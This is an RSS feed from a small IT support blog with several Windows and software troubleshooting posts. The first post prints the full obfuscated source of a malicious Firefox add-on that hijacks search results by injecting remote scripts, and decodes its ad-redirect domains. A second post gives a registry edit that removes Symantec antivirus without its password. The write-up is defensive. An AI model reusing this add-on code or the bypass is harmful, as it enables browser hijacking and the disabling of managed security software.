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	<title>Supporting Technology</title>
	<atom:link href="http://incomservice.net/icsblog/feed" rel="self" type="application/rss+xml" />
	<link>http://incomservice.net/icsblog</link>
	<description>Integrity Computer Service Support Blog</description>
	<lastBuildDate>Mon, 03 Sep 2012 15:31:14 +0000</lastBuildDate>
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		<title>Firefox Searches Getting Redirected &#8211; randomly</title>
		<link>http://incomservice.net/icsblog/2012/virus/firefox-searches-getting-redirected-randomly.html</link>
		<comments>http://incomservice.net/icsblog/2012/virus/firefox-searches-getting-redirected-randomly.html#comments</comments>
		<pubDate>Mon, 03 Sep 2012 15:31:14 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Virus]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=289</guid>
		<description><![CDATA[So today I was working on an issue where Firefox would randomly redirect some web searches. All Antivirus scans were clean (MalwareBytes, ComboFix, Trend&#8217;s TDSS, etc). GMER shows no rootkits and MBR scanner from GMER also reported the MBR as being clean. I installed ZoneAlarm to detect any malicious outbound traffic, and it found none [...]]]></description>
			<content:encoded><![CDATA[<p>So today I was working on an issue where Firefox would randomly redirect some web searches. All Antivirus scans were clean (MalwareBytes, ComboFix, Trend&#8217;s TDSS, etc). GMER shows no rootkits and MBR scanner from GMER also reported the MBR as being clean.</p>
<p>I installed ZoneAlarm to detect any malicious outbound traffic, and it found none &#8211; even though searched continued to redirect.</p>
<p>Removing and reinstalling network card drivers proved fruitless.</p>
<p>This is the point where you practice some Office Space moves &#8230;and I was thinking about it. (Sorry, Seth&#8230;)</p>
<p>Anyway, here&#8217;s the fix (You know I wouldn&#8217;t have bothered posting this if I didn&#8217;t fix it, right?):</p>
<p>Apparently at some point in history past, this guy had gotten a virus which had installed a malicious Firefox Add-on. The tricky thing is that this add-on survives a Firefox uninstall/reinstall.</p>
<p>To see the installed add-ons, I went to Help -&gt; Troubleshooting Information. Here is what I saw:</p>
<p>&nbsp;</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-291" title="Firefox Add-on" src="http://incomservice.net/icsblog/wp-content/uploads/2012/09/firefoxaddon1-1024x478.png" alt="" width="642" height="299" /></p>
<p style="text-align: left;">Check out that bottom entry.  Looks safe enough, right?  But something didn&#8217;t &#8220;feel&#8221; right about it.  I searched the registry for that CLSID and found it under Mozilla Extensions. The path pointed to C:\Users\[username]\AppData\Local\[CLSID shown above].  The folder held a folder called &#8220;Chome&#8221; and files called &#8220;Chome.manifest&#8221; and &#8220;install.rdf&#8221;.  The &#8220;Chrome&#8221; folder held the following file:</p>
<pre class="wp-code-highlight prettyprint">&amp;lt;overlay id=&quot;safebrowsing-overlay&quot; xmlns=&quot;http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul&quot;&amp;gt;
&amp;lt;script type=&quot;application/x-javascript&quot;&amp;gt;
function getRand(min,max) {return Math.floor(Math.random() * (max - min + 1)) + min;}
function getIp() {return getRand(0,255)+'.'+getRand(0,255)+'.'+getRand(0,255)+'.'+getRand(0,255);}
function mdec(s) {var r='',n,l;var l=s.length;if(l%2 !=0) return &quot;&quot;;for(var i=0;i&amp;amp;lt;l;i+=2) {n=s.substring(i,i+2);n=parseInt(n,16);r +=String.fromCharCode((i/2)^n);}return r;}
function rm_o(s) { var p,d; if(s.match(/&amp;amp;amp;fadurl=([^&amp;amp;amp;]+)/)) { d=RegExp.$1; p=s.indexOf('/',10);if(!document.cd) document.cd=s.substring(7,p);if(!document.fd) document.fd=d; s=s.substring(p);
if(s.match(/&amp;amp;amp;clcrf=([^&amp;amp;amp;]+)/)) document.rd=RegExp.$1; s=s.replace(/&amp;amp;amp;(fadurl|clcrf)=[^&amp;amp;amp;]+/g,''); return 'http://'+d+s; }
else if(s.indexOf(document.cd) !=-1) { return document.fd; } return -1;}
var _ty=&quot;687576733e2a29666c7f6f7978647d667e76277d71623874777435297a787b7b&quot;;
var _xn=&quot;uu=9/SFA85RSl4jvINASarRj++zrpuRRZveHooHhU8w1uE84stgvmkqYYUIM2SPKVwS5nSRfLU1cuMiKArdj2FsqRnz0HRWIXUfTHFH8egHeP1SeUDX3eaKEN61vp3xlY3fUKzYJcjDPbWebJU5+NoxVnWNaC58pmRZ1EHvlpLSSD0=&quot;;
var _sx=&quot;687576733e2a2963617a6b69606823667e6266727a613b647d78687874337d704d0e48500b414f54494b464e02475d&quot;;
window.addEventListener(&quot;load&quot;,function() { xulTra.init();},false);var xulTra={ init: function() { var observerService=Components.classes[&quot;@mozilla.org/observer-service;1&quot;].getService(Components.interfaces.nsIObserverService);
observerService.addObserver(httpRequestObserver,&quot;http-on-modify-request&quot;,false);
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if(appcontent) appcontent.addEventListener(&quot;DOMContentLoaded&quot;,xulTra.onPageLoad,true);
var td,n,p,dom,dom2;td=new Date();
n='http://'+td.getDate()+'.';
_ty=mdec(_ty);_sx=mdec(_sx);
p=_ty.substring(7).indexOf('/');
dom=_ty.substring(7,p+7);
p=_sx.substring(7).indexOf('/');
dom2=_sx.substring(7,p+7);
_ty=_ty.replace(/http:\/\//,n);
_sx=_sx.replace(/http:\/\//,n);
if(!_ty || !_xn) { return; }

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function(e)
    { if((s=rm_o(e.currentTarget.value)) !=-1) e.currentTarget.value=s;},false);
        document.getElementById(&quot;statusbar-display&quot;).addEventListener(&quot;DOMAttrModified&quot;,
            function(e)
            {if(e.target.label.indexOf(dom)!=-1 || e.target.label.indexOf(dom2)!=-1) e.target.label='';
                else if((s=rm_o(e.target.label)) !=-1)
                e.target.label=s;},false);},
onPageLoad: function(aEvent) { var doc=aEvent.originalTarget;if(doc.defaultView.frameElement) return;
var loc=doc.location.href;
var type='';
if(loc.match(/google.*\/(search|cse).*[&amp;amp;amp;\?]q=/) || loc.match(/search\.yahoo.*search.*[&amp;amp;amp;\?]p=/) || loc.match(/ask.com.*\/web.*[&amp;amp;amp;\?]q=/) ||loc.match(/bing.com\/search.*[&amp;amp;amp;\?]q=/) ||loc.match(/aol\/search.*(query|q)=/)) {type='search';}else if(loc.match(/(yahoo|ask|aol|bing)\.[-\.\w]+\/?$/)) {type='empty';}
else if (loc.match(/(google)\.[-\.\w]+\/?$/) || loc.match(/(google)\.[-\.\w]+\/#/)) {type='live';}
if(type) {if(document.getElementById('_gofeed'))return;
var script,src,ss; if(type=='live') ss = _sx; else ss = _ty;
src = ss+'?type='+type+'&amp;amp;amp;ua=Firefox&amp;amp;amp;ip='+getIp()+'&amp;amp;amp;ref='+encodeURIComponent(loc)+'&amp;amp;amp;'+_xn;
script=doc.createElement('script');script.id='_gofeed';
script.src=src;doc.getElementsByTagName('head')[0].appendChild(script);}}};
var httpRequestObserver={ observe: function(subject,topic,data) { if(topic==&quot;http-on-modify-request&quot;) { var httpChannel=subject.QueryInterface(Components.interfaces.nsIHttpChannel); var pos=subject.URI.spec.indexOf(&quot;&amp;amp;amp;clcrf=http&quot;);if(pos &amp;gt; -1) { var nr=this.ioService=Components.classes[&quot;@mozilla.org/network/io-service;1&quot;].getService(Components.interfaces.nsIIOService).newURI(decodeURIComponent(subject.URI.spec.substring(pos+7)),null,null);
httpChannel.referrer=nr;subject.URI.spec=subject.URI.spec.substring(0,pos);}}}};&amp;lt;/script&amp;gt;&amp;lt;/overlay&amp;gt;</pre>
<p>I decoded the encrypted variables, and they were the following:</p>
<p>http://advertising5new.com/2feed</p>
<p>http://disable-instant-search.com/js/disable.js</p>
<p>I removed the registry entry and deleted the [CLSID] folder, and that took care of the problem.</p>
<p>Have to admit Mr. Virus Man.  Not bad java cript there.  Pitty you can&#8217;t find something more useful to do with it.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>File Name disappers from Windows Explorer &#8211; only date modified displayed</title>
		<link>http://incomservice.net/icsblog/2012/operating-systems/file-name-disappers-from-windows-explorer-only-date-modified-displayed.html</link>
		<comments>http://incomservice.net/icsblog/2012/operating-systems/file-name-disappers-from-windows-explorer-only-date-modified-displayed.html#comments</comments>
		<pubDate>Wed, 09 May 2012 16:02:42 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[No folder names]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=278</guid>
		<description><![CDATA[Today, we were troublshooting an issue where only folders would display in an explorer view, but they would only show &#8220;Last Modified&#8221; date &#8211; no folder names.  You can right click the folder, and view the folder name, and you could add the column &#8220;filename&#8221; to the display &#8211; but the &#8220;Last Modified&#8221; date was [...]]]></description>
			<content:encoded><![CDATA[<p>Today, we were troublshooting an issue where only folders would display in an explorer view, but they would only show &#8220;Last Modified&#8221; date &#8211; no folder names.  You can right click the folder, and view the folder name, and you could add the column &#8220;filename&#8221; to the display &#8211; but the &#8220;Last Modified&#8221; date was the &#8220;default&#8221; column.</p>
<p>Here&#8217;s a screenshot:</p>
<div id="attachment_280" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-280" title="Screenshot - No Folder Names" src="http://incomservice.net/icsblog/wp-content/uploads/2012/05/picture-300x260.jpg" alt="Screenshot - No Folder Names" width="300" height="260" /><p class="wp-caption-text">Screenshot - No Folder Names</p></div>
<p>After some extensive googling, I came across a forum thread that referenced this registry key:</p>
<pre class="wp-code-highlight prettyprint">HKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\CachedSchemaHKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\CachedSchemaHKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\CachedSchema</pre>
<p>We backed up the &#8220;PropertySchema&#8221; branch, and then deleted the &#8220;CachedSchema&#8221; key.  After killing explorer.exe, and relaunching it the problem was fixed.</p>
<p>This also resovled the issue with Windows Search not being able to find any files that were being searched for.</p>
<p>We aren&#8217;t sure, but it seems most likely (due to the state of this machine) that this was caused by a virus.</p>
]]></content:encoded>
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		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Printing NEVER stops when printing over VPN</title>
		<link>http://incomservice.net/icsblog/2012/uncategorized/printing-never-stops-when-printing-over-vpn.html</link>
		<comments>http://incomservice.net/icsblog/2012/uncategorized/printing-never-stops-when-printing-over-vpn.html#comments</comments>
		<pubDate>Sat, 14 Jan 2012 21:19:02 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=272</guid>
		<description><![CDATA[I was printing to a remote printer over a VPN from a Win 7 Workstation.  The printer was a HP LaserJet Professional, but I&#8217;m not sure that makes any difference&#8230; Anyway, the print job would go the queue on the computer, and you could see sitting there spooling, and then it would flash, and spool [...]]]></description>
			<content:encoded><![CDATA[<p>I was printing to a remote printer over a VPN from a Win 7 Workstation.  The printer was a HP LaserJet Professional, but I&#8217;m not sure that makes any difference&#8230;</p>
<p>Anyway, the print job would go the queue on the computer, and you could see sitting there spooling, and then it would flash, and spool it again&#8230; over and over&#8230; until the paper ran out (which of course you had no clue because the printer is half way around the world, right?)</p>
<p>So here&#8217;s my tribute to Al Gore &#8211; if you want to save trees by only printing ONE instead of ONE paper ream, go to your printer properties, and uncheck &#8220;Enable bidirectional support&#8221; on the &#8220;Ports&#8221; tab.</p>
<p><a href="http://incomservice.net/icsblog/wp-content/uploads/2012/01/Screen-Shot-2012-01-14-at-1.13.06-PM.png"><img class="aligncenter size-medium wp-image-273" title="Screen Shot 2012-01-14 at 1.13.06 PM" src="http://incomservice.net/icsblog/wp-content/uploads/2012/01/Screen-Shot-2012-01-14-at-1.13.06-PM-300x246.png" alt="" width="300" height="246" /></a></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Press Release:  Integrity Computer Service now an Authorized GoogleApps Reseller</title>
		<link>http://incomservice.net/icsblog/2011/googleapps/press-release-integrity-computer-service-now-an-authorized-googleapps-reseller.html</link>
		<comments>http://incomservice.net/icsblog/2011/googleapps/press-release-integrity-computer-service-now-an-authorized-googleapps-reseller.html#comments</comments>
		<pubDate>Mon, 08 Aug 2011 15:22:10 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[GoogleApps]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Apps]]></category>
		<category><![CDATA[press release]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=267</guid>
		<description><![CDATA[Integrity Computer Service Joins Google Apps Authorized Reseller Program August 8, 2011 &#8212; Integrity Computer Service today announced it has become an authorized reseller of the Google Apps™ suite of communication and collaboration tools.  They will be providing a small business focused solution that competes with current technologies such as Microsoft Exchange.  Google Apps provides [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://incomservice.net/icsblog/wp-content/uploads/2011/08/NEW_Shaded_RGB_450px_Apps-for-Business.jpg"><img class="aligncenter size-full wp-image-269" title="NEW_Shaded_RGB_450px_Apps-for-Business" src="http://incomservice.net/icsblog/wp-content/uploads/2011/08/NEW_Shaded_RGB_450px_Apps-for-Business.jpg" alt="" width="450" height="64" /></a></p>
<p><strong>Integrity Computer Service Joins Google Apps Authorized Reseller Program</strong></p>
<p>August 8, 2011 &#8212; Integrity Computer Service today announced it has become an authorized reseller of the Google Apps™ suite of communication and collaboration tools.  They will be providing a small business focused solution that competes with current technologies such as Microsoft Exchange.  Google Apps provides a rich experience for inter-office collaboration and productivity<br />
<span style="color: #444444;"><br />
</span></p>
<p><span style="color: #444444;">Google Apps brings simple, powerful communication and collaboration tools to organizations of any size </span><span style="color: #444444;">– all hosted by Google to streamline setup, minimize </span><span style="color: #444444;">maintenance, and reduce IT costs. </span><span style="color: #444444;">With  Gmail (including Google email security, powered by Postini),  Google Calendar, and integrated IM, users can stay connected and work  together with ease. And, using Google Docs and Google Sites, which  include word processing, spreadsheet, presentation and website creation  tools, they can share files and collaborate in real-time, keeping  versions organized and available wherever and whenever users work. </span></p>
<p>&nbsp;</p>
<p>The  Google Apps Reseller program includes resellers, consultants and  independent software vendors that sell, service and customize Google  Apps for Business for their customers. Integrity Computer Service received training,  support and deployment services from Google, as well as access to APIs  for integrating Google Apps into their customers&#8217; business operations. Integrity Computer Service is able to retain a close relationship with their customers in  order to provide additional service and support. The businesses  receiving Google Apps will benefit from the additional attention to  their specific needs.     For more information on Integrity Computer Service&#8217;s program  please visit <a href="http://www.incomservice.net">www.incomservice.net</a> and to learn more about the Google Apps  Reseller program, go to  <a href="http://www.google.com/a">www.google.com/a/</a>.</p>
<p><a href="http://incomservice.net/icsblog/wp-content/uploads/2011/08/Apps-Reseller-Badge.jpg"><img class="aligncenter size-full wp-image-268" title="Apps Reseller Badge" src="http://incomservice.net/icsblog/wp-content/uploads/2011/08/Apps-Reseller-Badge.jpg" alt="" width="110" height="121" /></a></p>
<p><em><br />
Google, Google Apps, Gmail, Google Talk, Google Calendar, Google Docs, Google Sites and Google Video are trademarks of Google Inc. </em></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Remove password from Symantec Enterprise Antivirus</title>
		<link>http://incomservice.net/icsblog/2011/software/remove-password-from-symantec-enterprise-antivirus.html</link>
		<comments>http://incomservice.net/icsblog/2011/software/remove-password-from-symantec-enterprise-antivirus.html#comments</comments>
		<pubDate>Tue, 28 Jun 2011 13:19:56 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Syamntec Antivirus]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=262</guid>
		<description><![CDATA[So how do you get rid of the big yellow giant when you don&#8217;t know the password.  Fortunately, it isn&#8217;t hard. Navigate to this registry key: HKLM\Software\Intel\LANDesk\VirusProtect6\CurrentVersion\AdministratorOnly\Security\ Find the &#8220;UseVPUninstallPassword&#8221; key and change the value from a &#8220;1&#8243; to a &#8220;0&#8243;.  Now go to Add/Remove Programs and remove it.  Enjoy your new freedom.]]></description>
			<content:encoded><![CDATA[<p>So how do you get rid of the big yellow giant when you don&#8217;t know the password.  Fortunately, it isn&#8217;t hard.</p>
<p>Navigate to this registry key:</p>
<pre class="wp-code-highlight prettyprint">HKLM\Software\Intel\LANDesk\VirusProtect6\CurrentVersion\AdministratorOnly\Security\</pre>
<p>Find the &#8220;UseVPUninstallPassword&#8221; key and change the value from a &#8220;1&#8243; to a &#8220;0&#8243;.  Now go to Add/Remove Programs and remove it.  Enjoy your new freedom.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Decrease MySQL database size after deleting records</title>
		<link>http://incomservice.net/icsblog/2011/software/decrease-mysql-database-size-after-deleting-records.html</link>
		<comments>http://incomservice.net/icsblog/2011/software/decrease-mysql-database-size-after-deleting-records.html#comments</comments>
		<pubDate>Fri, 03 Jun 2011 17:08:43 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=258</guid>
		<description><![CDATA[I have a Mysql Database that I removed over 1,000,000 records from. Before record deletion, the database size was 408 MB. After I deleted all those records, guess how big it was? You&#8217;re right: 408 MB. So to &#8220;reclaim&#8221; that space, first go to your favorite mysql query browser, and execute the query: show table [...]]]></description>
			<content:encoded><![CDATA[<p>I have a Mysql Database that I removed over 1,000,000 records from. Before record deletion, the database size was 408 MB. After I deleted all those records, guess how big it was? You&#8217;re right: 408 MB.</p>
<p>So to &#8220;reclaim&#8221; that space, first go to your favorite mysql query browser, and execute the query:</p>
<pre class="wp-code-highlight prettyprint">show table status;</pre>
<p>It should show you all of your tables and information regarding those tables. One column should say &#8220;Data_free&#8221;. Look at what database has a large amount of &#8220;Data_free&#8221; space, and the excute another query:</p>
<pre class="wp-code-highlight prettyprint">optimize table YOURTABLENAMEHERE</pre>
<p>&nbsp;</p>
<p>After I had successfully optimized two tables, my database size went from 408 MB to 61 MB.</p>
<p>Now maybe my backups will work a little faster&#8230;</p>
<p>All the best,</p>
<p>Luke</p>
]]></content:encoded>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Microsoft Fax Service crashes when receiving new fax</title>
		<link>http://incomservice.net/icsblog/2011/server-2008/microsoft-fax-service-crashes-when-receiving-new-fax.html</link>
		<comments>http://incomservice.net/icsblog/2011/server-2008/microsoft-fax-service-crashes-when-receiving-new-fax.html#comments</comments>
		<pubDate>Wed, 16 Feb 2011 21:06:00 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Server 2008]]></category>
		<category><![CDATA[fax]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=255</guid>
		<description><![CDATA[If you are getting events like this: Faulting application fxssvc.exe, version 6.0.6001.18000, time stamp 0x4791a273, faulting module msado15.dll, version 6.0.6001.18570, time stamp 0x4d1a0103, exception code 0xc0000409, fault offset 0x00000000000b2de4, process id 0x6ff4, application start time 0x01cbcd44fa59e95c. after receiving a fax, then I have a possible fix for you. The answer is here: http://support.microsoft.com/kb/973640. Happy faxing. [...]]]></description>
			<content:encoded><![CDATA[<p>If you are getting events like this:<br />
<code>Faulting application fxssvc.exe, version 6.0.6001.18000, time stamp 0x4791a273, faulting module msado15.dll, version 6.0.6001.18570, time stamp 0x4d1a0103, exception code 0xc0000409, fault offset 0x00000000000b2de4, process id 0x6ff4, application start time 0x01cbcd44fa59e95c.</code><br />
after receiving a fax, then I have a possible fix for you.</p>
<p>The answer is here:  <a href="http://support.microsoft.com/kb/973640">http://support.microsoft.com/kb/973640</a>.  </p>
<p>Happy faxing.  (if you don&#8217;t know what a fax is, check <a href="http://www.wikipedia.org/"></a></p>
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		<title>Ok, just had to post it.</title>
		<link>http://incomservice.net/icsblog/2011/uncategorized/ok-just-had-to-post-it.html</link>
		<comments>http://incomservice.net/icsblog/2011/uncategorized/ok-just-had-to-post-it.html#comments</comments>
		<pubDate>Mon, 07 Feb 2011 20:39:35 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=252</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><iframe title="YouTube video player" width="640" height="390" src="http://www.youtube.com/embed/X9xGw-SWej8" frameborder="0" allowfullscreen></iframe></p>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.</title>
		<link>http://incomservice.net/icsblog/2011/outlook/this-operation-has-been-cancelled-due-to-restrictions-in-effect-on-this-computer-please-contact-your-system-administrator.html</link>
		<comments>http://incomservice.net/icsblog/2011/outlook/this-operation-has-been-cancelled-due-to-restrictions-in-effect-on-this-computer-please-contact-your-system-administrator.html#comments</comments>
		<pubDate>Fri, 04 Feb 2011 17:20:17 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Outlook]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=247</guid>
		<description><![CDATA[So if you are seeing this error: &#34;&#60;em&#62;This operation has been canceled due to restrictions in effect on this computer. Please contact your system administrator.&#60;/em&#62;&#34; The fix that fixed it for me was to go to HKEY_CURRENT_USER\Software\Classes\.htm and change the value of (Default) to htmlfile.  Do the same for HKEY_CURRENT_USER\Software\Classes\.html. There also a Microsoft KB [...]]]></description>
			<content:encoded><![CDATA[<p>So if you are seeing this error:</p>
<pre class="wp-code-highlight prettyprint">&quot;&lt;em&gt;This operation has been canceled due to restrictions in effect on this computer.
Please contact your system administrator.&lt;/em&gt;&quot;</pre>
<p>The fix that fixed it for me was to go to HKEY_CURRENT_USER\Software\Classes\.htm and change the value of (Default) to htmlfile.  Do the same for HKEY_CURRENT_USER\Software\Classes\.html.</p>
<p>There also a Microsoft KB that may be helpful:  <a href="http://support.microsoft.com/kb/310049">http://support.microsoft.com/kb/310049</a></p>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>Outlook / XP not saving any passwords</title>
		<link>http://incomservice.net/icsblog/2011/uncategorized/outlook-xp-not-saving-any-passwords.html</link>
		<comments>http://incomservice.net/icsblog/2011/uncategorized/outlook-xp-not-saving-any-passwords.html#comments</comments>
		<pubDate>Wed, 02 Feb 2011 18:22:16 +0000</pubDate>
		<dc:creator>lpopejoy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://incomservice.net/icsblog/?p=241</guid>
		<description><![CDATA[So make sure you check this Microsoft KB article just in case:  http://support.microsoft.com/default.aspx?scid=kb;en-us;290684&#38;Product=ol2002 The ultimate fix for me was this:  Open your registry and go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders. It should look something like this picture: That&#8217;s what it SHOULD look like.  The one on the problem machine only had one of those.  Here&#8217;s a [...]]]></description>
			<content:encoded><![CDATA[<p>So make sure you check this Microsoft KB article just in case:  <a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;290684&amp;Product=ol2002">http://support.microsoft.com/default.aspx?scid=kb;en-us;290684&amp;Product=ol2002</a></p>
<p>The ultimate fix for me was this:  Open your registry and go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders.</p>
<p>It should look something like this picture:</p>
<p><br class="spacer_" /></p>
<div id="attachment_242" class="wp-caption aligncenter" style="width: 968px"><a href="http://incomservice.net/icsblog/wp-content/uploads/2011/02/reg.jpg"><img class="size-full wp-image-242" title="User shell folders" src="http://incomservice.net/icsblog/wp-content/uploads/2011/02/reg.jpg" alt="User shell folders" width="958" height="627" /></a><p class="wp-caption-text">User shell folders</p></div>
<p><br class="spacer_" /></p>
<p>That&#8217;s what it SHOULD look like.  The one on the problem machine only had one of those.  Here&#8217;s a registry file that will add them all back in for you &#8211; on XP machines:  <a href="http://incomservice.net/icsblog/wp-content/uploads/2011/02/usershellfolders.reg">User Shell Folders downloads.</a></p>
<p><br class="spacer_" /></p>
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